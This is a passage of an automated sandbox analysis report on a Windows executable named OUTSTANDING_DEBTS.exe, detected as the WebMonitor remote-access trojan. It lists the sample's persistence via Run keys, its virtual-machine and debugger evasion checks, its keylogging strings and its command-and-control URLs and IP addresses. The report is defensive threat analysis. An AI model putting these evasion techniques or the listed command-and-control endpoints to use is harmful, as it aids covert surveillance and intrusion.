Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C95873 push ecx; ret	5_2_00C95886

Boot Survival:

Creates autostart registry keys with suspicious names

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-3868

Jump to behavior

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-3868			Jump to behavior
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-3868			Jump to behavior

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Malware Analysis System Evasion:

Contain functionality to detect virtual machines

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: VMwareVMware VBoxVBoxVBox

5_2_00438696

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BaseBoard

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: OUTSTANDING_DEBTS.exe

Binary or memory string: WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	RDTSC instruction interceptor: First address: 0000000000438426 second address: 0000000000438430 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 call dword ptr [004F0034h] 0x0000000a jmp dword ptr [74B710C0h] 0x00000010 mov eax, dword ptr fs:[00000030h] 0x00000016 mov eax, dword ptr [eax+18h] 0x00000019 ret 0x0000001a rdtsc
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	RDTSC instruction interceptor: First address: 000000000043843C second address: 0000000000438426 instructions: 0x00000000 rdtsc 0x00000002 sub eax, esi 0x00000004 xor edx, edx 0x00000006 sub esi, edi 0x00000008 div esi 0x0000000a cmp eax, 0Ah 0x0000000d jnc 00007F346C39C5ADh 0x0000000f inc ebx 0x00000010 cmp ebx, 0Ah 0x00000013 jc 00007F346C39C577h 0x00000015 rdtsc

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Memory allocated: 5570000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Memory allocated: 5570000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Memory allocated: 5570000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Memory allocated: 5570000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_00438418 rdtsc

5_2_00438418

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Window / User API: threadDelayed 6527

Jump to behavior

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe TID: 5372

Thread sleep count: 6527 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C80D6A FindFirstFileExW,		5_2_00C80D6A
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C81126 FindFirstFileExW,FindNextFileW,FindClose,		5_2_00C81126

Source: OUTSTANDING_DEBTS.exe	Binary or memory string: Hyper-V
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467816998.0000000003114000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW"$
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp	Binary or memory string: Cx</block><block><block></block></block><block></data></data><block>.bin\</date>%Y-%m-%d %I:%M:%S<date><data><title></title>{F1}{F2}{F3}{F4}{F5}{F6}{F7}{F8}{F9}{F10}{F11}{F12}{F13}{F14}{F15}{F16}{NUMPAD_0}{NUMPAD_1}{NUMPAD_2}{NUMPAD_3}{NUMPAD_4}{NUMPAD_5}{NUMPAD_6}{NUMPAD_7}{NUMPAD_8}{NUMPAD_9}{NUMPAD_MULTIPLY}{NUMPAD_ADD}{NUMPAD_SEPARATOR}{NUMPAD_SUBTRACT}{NUMPAD_DECIMAL}{NUMPAD_DIVIDE}{ENTER}{CTRL} {SHIFT}{CAPSLOCK}{ESC}{MENU}{HELP}{CLEAR}{TAB}{BACKSPACE}{PRTSCR}{SELECT}{EXECUTE}{SCROLL}{PAUSE}{INS}{HOME}{PAGEUP}{PAGEDOWN}{DEL}{END}{UP}{DOWN}{LEFT}{RIGHT}{NUMLOCK}KEYLOG: KEYLOG STEAM SENT: send_keylog_stream_data</block><block></block><block>kernel32.dllKernel32.dllNtQueryInformationProcessNTDLL.DLLSYSTEM\CurrentControlSet\Control\Terminal Server\GlassSessionIdKVMKVMKVMMicrosoft HvVMwareVMwareXenVMMXenVMMprl hyperv VBoxVBoxVBoxROOT\CIMV2SELECT * FROM Win32_VideoControllerCaptionHyper-VMicrosoft Basic Display AdapterVMWare%ThisIsAnInvalidEnvironmentVariableName?[]<>@\;!-{}#:/~%%ThisIsAnInvalidFileName?[]<>@\;!-{}#:/~%VirtualAlloc failed. Last error: %u
Source: OUTSTANDING_DEBTS.exe	Binary or memory string: VMwareVMware
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467816998.0000000003114000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: OUTSTANDING_DEBTS.exe	Binary or memory string: VMWare

Anti Debugging:

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_00438DCE CheckRemoteDebuggerPresent,

5_2_00438DCE

Potentially malicious time measurement code found

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_00438418 Start: 0043843C End: 00438430

5_2_00438418

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_00438418 rdtsc

5_2_00438418

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 2_2_00C7B717 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00C7B717

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C64084 mov eax, dword ptr fs:[00000030h]	2_2_00C64084
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C7BDAE mov eax, dword ptr fs:[00000030h]	2_2_00C7BDAE
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C306DA mov eax, dword ptr fs:[00000030h]	2_2_00C306DA
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C308EE mov eax, dword ptr fs:[00000030h]	2_2_00C308EE
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C309DE mov eax, dword ptr fs:[00000030h]	2_2_00C309DE
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C3099F mov eax, dword ptr fs:[00000030h]	2_2_00C3099F
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C30A1C mov eax, dword ptr fs:[00000030h]	2_2_00C30A1C
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004B0BDB mov eax, dword ptr fs:[00000030h]	5_2_004B0BDB
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C64084 mov eax, dword ptr fs:[00000030h]	5_2_00C64084
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C64112 mov ecx, dword ptr fs:[00000030h]	5_2_00C64112
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C7BBC2 mov eax, dword ptr fs:[00000030h]	5_2_00C7BBC2
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C7BB7F mov eax, dword ptr fs:[00000030h]	5_2_00C7BB7F
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C7BC60 mov eax, dword ptr fs:[00000030h]	5_2_00C7BC60
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C7BC05 mov eax, dword ptr fs:[00000030h]	5_2_00C7BC05
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C7BDDF mov eax, dword ptr fs:[00000030h]	5_2_00C7BDDF
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C7BDAE mov eax, dword ptr fs:[00000030h]	5_2_00C7BDAE
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C7BD6A mov eax, dword ptr fs:[00000030h]	5_2_00C7BD6A
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C7BD26 mov eax, dword ptr fs:[00000030h]	5_2_00C7BD26

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_00C87650 GetProcessHeap,

5_2_00C87650

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C572BF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00C572BF
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C7B717 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00C7B717
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C56E03 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00C56E03
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C56E03 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00C56E03
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C56F9A SetUnhandledExceptionFilter,	5_2_00C56F9A
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C572BF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00C572BF
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C7B717 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00C7B717

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Memory protected: page execute and read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Section loaded: unknown target: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe protection: execute and read and write

Jump to behavior

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Process created: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe 'C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe'

Jump to behavior

Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467861773.0000000003139000.00000004.00000020.sdmp	Binary or memory string: niiarmah.wm01.toc5669c66bbfbd74\|297\|Program Manager\|101g
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467861773.0000000003139000.00000004.00000020.sdmp	Binary or memory string: Program Manager
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467999010.0000000003680000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467999010.0000000003680000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467861773.0000000003139000.00000004.00000020.sdmp	Binary or memory string: c5669c66bbfbd74\|297\|Program Manager\|101
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467999010.0000000003680000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 2_2_00C570D4 cpuid

2_2_00C570D4

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00C86126
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00C862FB
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	2_2_00C86503
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	2_2_00C85965
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	2_2_00C85C70
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	2_2_00C85C07
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	2_2_00C85D0B
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetLocaleInfoW,	2_2_00C86FBB
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,	5_2_0049C76F
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetLocaleInfoEx,___wcsnicmp_ascii,	5_2_0049C6A4
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetLocaleInfoW,	5_2_00C86000
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_00C86126
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_00C862FB
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetLocaleInfoW,	5_2_00C8622C
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	5_2_00C86503
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	5_2_00C86694
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	5_2_00C86662
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetLocaleInfoW,	5_2_00C86FBB
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	5_2_00C85965
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	5_2_00C85C70
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	5_2_00C85C07
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_00C85DA0
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: EnumSystemLocalesW,	5_2_00C85D0B

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 2_2_00C56CD4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_00C56CD4

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_004BA019 _free,_free,_free,GetTimeZoneInformation,_free,

5_2_004BA019

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected WebMonitor RAT

Show sources

Source: Yara match	File source: 5.2.OUTSTANDING_DEBTS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.OUTSTANDING_DEBTS.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.OUTSTANDING_DEBTS.exe.5ff0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.OUTSTANDING_DEBTS.exe.5ff0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.208343823.0000000005FF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OUTSTANDING_DEBTS.exe PID: 464, type: MEMORYSTR

Remote Access Functionality:

Yara detected WebMonitor RAT

Show sources

Source: Yara match	File source: 5.2.OUTSTANDING_DEBTS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.OUTSTANDING_DEBTS.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.OUTSTANDING_DEBTS.exe.5ff0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.OUTSTANDING_DEBTS.exe.5ff0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.208343823.0000000005FF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OUTSTANDING_DEBTS.exe PID: 464, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Registry Run Keys / Startup Folder11	Access Token Manipulation1	Masquerading1	Input Capture211	System Time Discovery2	Remote Services	Input Capture211	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	Process Injection112	Virtualization/Sandbox Evasion23	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Registry Run Keys / Startup Folder11	Disable or Modify Tools1	Security Account Manager	Security Software Discovery541	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Virtualization/Sandbox Evasion23	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	Application Window Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	File and Directory Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Information Discovery223	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
OUTSTANDING_DEBTS.exe	26%	Virustotal		Browse
OUTSTANDING_DEBTS.exe	26%	ReversingLabs	Win32.Trojan.Revcode
OUTSTANDING_DEBTS.exe	100%	Avira	HEUR/AGEN.1139979

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.2.OUTSTANDING_DEBTS.exe.5ff0000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Link
niiarmah.wm01.to	1%	Virustotal	Browse
ntp.se	0%	Virustotal	Browse
sdns.se	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://0/recv5.php	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.phpe	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/crosoft	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.php(j	0%	Avira URL Cloud	safe
https://0/recv5.php13q	0%	Avira URL Cloud	safe
https://0.0.0.0/recv5.php	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.php	0%	Avira URL Cloud	safe
https://0/recv5.php93y	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.phpz	0%	Avira URL Cloud	safe
https://0/recv5.phpi	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.php?	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.phpzv	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
niiarmah.wm01.to	45.153.186.90	true	false	1%, Virustotal, Browse	unknown
ntp.se	194.58.200.20	true	false	0%, Virustotal, Browse	unknown
sdns.se	185.243.215.214	true	false	1%, Virustotal, Browse	unknown
423959a945510b273b2c3fc16233733d.se	unknown	unknown	true		unknown
9e518e46af12a15669d666a4bb10620c.se	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://0/recv5.php	OUTSTANDING_DEBTS.exe, 00000005.00000002.467697893.00000000030AC000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	low
https://niiarmah.wm01.to/recv5.phpe	OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/crosoft	OUTSTANDING_DEBTS.exe, 00000005.00000002.467764330.00000000030E2000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/	OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.php(j	OUTSTANDING_DEBTS.exe, 00000005.00000002.470873995.0000000005933000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://0/recv5.php13q	OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	low
https://0.0.0.0/recv5.php	OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.php	OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://0/recv5.php93y	OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	low
https://niiarmah.wm01.to/recv5.phpz	OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp, OUTSTANDING_DEBTS.exe, 00000005.00000002.470935328.000000000593F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://0/recv5.phpi	OUTSTANDING_DEBTS.exe, 00000005.00000003.274525527.00000000030E2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://niiarmah.wm01.to/recv5.php?	OUTSTANDING_DEBTS.exe, 00000005.00000002.467764330.00000000030E2000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.phpzv	OUTSTANDING_DEBTS.exe, 00000005.00000002.467670364.0000000003097000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.58.200.20	ntp.se	Sweden		57021	NTP-SEAnycastedNTPservicesfromNetnodIXPsSE	false
45.153.186.90	niiarmah.wm01.to	Bulgaria		202448	MVPShttpswwwmvpsnetEU	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	465727
Start date:	16.08.2021
Start time:	07:10:10
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	OUTSTANDING_DEBTS.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/3@35/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 8.2% (good quality ratio 8%) Quality average: 83.8% Quality standard deviation: 22.9%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.42.65.92, 23.211.6.115, 104.208.16.94, 20.82.210.154, 23.211.4.86, 20.189.173.21, 23.209.125.71, 23.209.125.83, 20.54.110.249, 40.112.88.60, 80.67.82.211, 80.67.82.235, 20.42.73.29, 173.222.108.226, 173.222.108.210 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, audownload.windowsupdate.nsatc.net, onedsblobprdeus15.eastus.cloudapp.azure.com, onedsblobprdwus16.westus.cloudapp.azure.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, onedsblobprdcus16.centralus.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, ris.api.iris.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is 